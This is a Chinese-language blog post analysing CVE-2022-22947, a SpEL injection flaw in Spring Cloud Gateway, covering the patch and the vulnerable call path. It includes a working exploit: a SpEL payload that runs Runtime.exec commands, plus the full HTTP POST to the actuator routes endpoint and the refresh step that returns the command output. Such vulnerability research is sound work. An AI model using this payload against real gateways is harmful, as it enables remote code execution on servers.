CVE-2022-22947 分析

举报
Xuuuu 发表于 2022/03/04 11:23:48 2022/03/04
【摘要】 CVE-2022-22947[[spel inj|SPEL]] CASTING AND EVIL BEANSBase漏洞环境:VulEnv/springboot/cve_2022_22947 at master · XuCcc/VulEnv Source 分析查看 v3.0.6->v3.0.7 的官方补丁 Comparing v3.0.6…v3.0.7 · spring-cloud/spr...

CVE-2022-22947

[[spel inj|SPEL]] CASTING AND EVIL BEANS

Base

Source 分析

查看 v3.0.6->v3.0.7 的官方补丁 Comparing v3.0.6…v3.0.7 · spring-cloud/spring-cloud-gateway,官方在 ShortcutConfigurable#getValue 方法中将 StandardEvaluationContext 修正成了 GatewayEvaluationContext

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
	Object value;
	String rawValue = entryValue;
	if (rawValue != null) {
		rawValue = rawValue.trim();
	}
	if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
		// assume it's spel
		StandardEvaluationContext context = new StandardEvaluationContext();
		context.setBeanResolver(new BeanFactoryResolver(beanFactory));
		Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
		value = expression.getValue(context);
	}

向上回溯调用路径

  • org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#DEFAULT
  • org.springframework.cloud.gateway.support.ShortcutConfigurable#shortcutType
  • org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
    跟踪 properties
  • org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#properties
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getRoutes
    至此,可以得出 gateway 在对 filters 进行转换解析时触发了 spel 注入

POC 编写

在关键位置打上断点后,运行 app 尝试进入漏洞点。翻阅下官方文档 Spring Cloud Gateway[^1] 看下如何定义一个简单的路由

spring:
  cloud:
    gateway:
      routes:
      - id: after_route
        uri: https://example.org
        predicates:
        - name: Cookie
          args:
            name: mycookie
            regexp: mycookievalue

debug 程序后,发现 mycookie 成功传入到了 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValueentryValue 参数中

getValue:51, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
lookup:216, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
combinePredicates:189, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:116, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 1605299030 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$842)
//.....
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
//.....
main:33, Cve202222947Application (person.xu.vulEnv)

注入下 spel 表达式

“#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec(‘whoami’).getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}”

访问 http://127.0.0.1:8083/actuator/gateway/routes/ 发现成功执行了命令

EXP 编写

那如何通过远程触发呢?根据 Gateway Actuator API [^2] 文档,/gateway/routes/{id_route_to_create} 接口提供了创建路由的能力 其中 json 构造方式如文档中的

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

将其转换一下得到

{
    "id": "first_route",
    "predicates": [
        {
            "name": "Cookie",
            "args": {
                "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('id')}",
                "_genkey_1": "mycookievalue"
            }
        }
    ],
    "filters": [],
    "uri": "https://www.uri-destination.org",
    "order": 0
}

通过 POST 发送 exp

POST /actuator/gateway/routes/first_route HTTP/1.1
Host: 127.0.0.1:8083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 385


{
  "id": "first_route",
  "predicates": [{
    "name": "Cookie",
    "args": {"_genkey_0":"#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}",
"_genkey_1":"mycookievalue"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}]

后通过 /actuator/gateway/refresh 刷新路由缓存 访问 /actuator/gateway/routes/ 得到命令执行的结果

[
    {
        "predicate": "Paths: [/get], match trailing slash: true",
        "route_id": "path_route",
        "filters": [],
        "uri": "http://httpbin.org:80",
        "order": 0
    },
//........
    {
        "predicate": "Cookie: name=china\\xuuupro\r\n regexp=mycookievalue",
        "route_id": "first_route",
        "filters": [],
        "uri": "https://www.uri-destination.org",
        "order": 0
    }
]

Reference

Footnote

[^1]: Spring Cloud Gateway
[^2]: 11. Actuator API


文末福利:华为云漏洞扫描服务CodeArts Inspector 基础版限时免费体验>>>

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。